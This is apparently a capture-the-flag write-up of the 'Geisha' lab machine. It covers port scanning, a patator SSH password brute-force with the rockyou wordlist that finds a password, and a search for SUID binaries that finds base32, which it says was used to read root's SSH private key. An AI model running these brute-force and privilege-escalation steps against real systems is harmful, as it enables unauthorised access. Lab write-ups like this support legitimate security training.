Geisha - OSPG

November 15, 2021

Tags: | ospg | red | linux |

Read this in "about 3 minutes".

Summary

We’ll obtain the initial access by brute-force SSH password of the user geisha. Privilege escalation can be done via a misconfigured SUID binary base32, which we’ll abuse to expose root SSH private key and fully compromise root access.

Enumeration

Let us begin with a nmap scan.

PORT     STATE SERVICE       REASON         VERSION
21/tcp   open  ftp           syn-ack ttl 63 vsftpd 3.0.3      
22/tcp   open  ssh           syn-ack ttl 63 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)                                                                     
80/tcp   open  http          syn-ack ttl 63 Apache httpd 2.4.38 ((Debian))
| http-methods:
|_  Supported Methods: HEAD GET POST OPTIONS
|_http-server-header: Apache/2.4.38 (Debian)                        
|_http-title: Geisha
7080/tcp open  ssl/empowerid syn-ack ttl 63 LiteSpeed                            
| http-methods:       
|_  Supported Methods: GET HEAD POST             
|_http-server-header: LiteSpeed
|_http-title: Did not follow redirect to https://192.168.199.82:7080/      
| ssl-cert: Subject: commonName=geisha/organizationName=webadmin/countryName=US/X509v3 Subject Alternative Name=DNS.1=42.114.248.217
| Issuer: commonName=geisha/organizationName=webadmin/countryName=US/X509v3 Subject Alternative Name=DNS.1=42.114.248.217
7125/tcp open  http          syn-ack ttl 62 nginx 1.17.10
| http-methods: 
|_  Supported Methods: GET HEAD POST
|_http-server-header: nginx/1.17.10
|_http-title: Geisha
8088/tcp open  http          syn-ack ttl 63 LiteSpeed httpd
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: LiteSpeed
|_http-title: Geisha
9198/tcp open  http          syn-ack ttl 63 SimpleHTTPServer 0.6 (Python 2.7.16)
| http-methods: 
|_  Supported Methods: GET HEAD
|_http-server-header: SimpleHTTP/0.6 Python/2.7.16
|_http-title: Geisha

Conducting a few web directory scans, we discovered the /passwd file on the HTTP service port 7125, which divulged geisha user.

Exploitation

SSH Brute-force

Running patator against the server, after a few minutes, we found geisha credentials.

atator ssh_login host=192.168.199.82 user=geisha password=FILE0 0=/usr/share/wordlists/rockyou.txt -x ignore:mesg='Authentication failed.'               
34:21 patator    INFO - Starting Patator 0.9 (https://github.com/lanjelot/patator) with python-3.9.7 at 2021-11-15 03:34 EST
34:21 patator    INFO -                                                                              
34:21 patator    INFO - code  size    time | candidate                          |   num | mesg
34:21 patator    INFO - -----------------------------------------------------------------------------
37:25 patator    INFO - 0     39     0.476 | letmein                            |   512 | SSH-2.0-OpenSSH_7.9p1 Debian-10+deb10u2
^C03:39:51 patator    INFO - Hits/Done/Skip/Fail/Size: 1/919/0/0/14344392, Avg: 2 r/s, Time: 0h 5m 29s
39:51 patator    INFO - To resume execution, pass --resume 92,93,91,93,92,92,91,93,91,91

With this password, we can ssh our way in as geisha.

Privilege Escalation

Enumerate the system locally, we found a misconfigured SUID binary.

geisha@geisha:~$ find / -perm -u=s 2>/dev/null; 
...                                                             
/usr/bin/base32                                                                        
...

Attempting to read root SSH private key, we are able to compromise root access.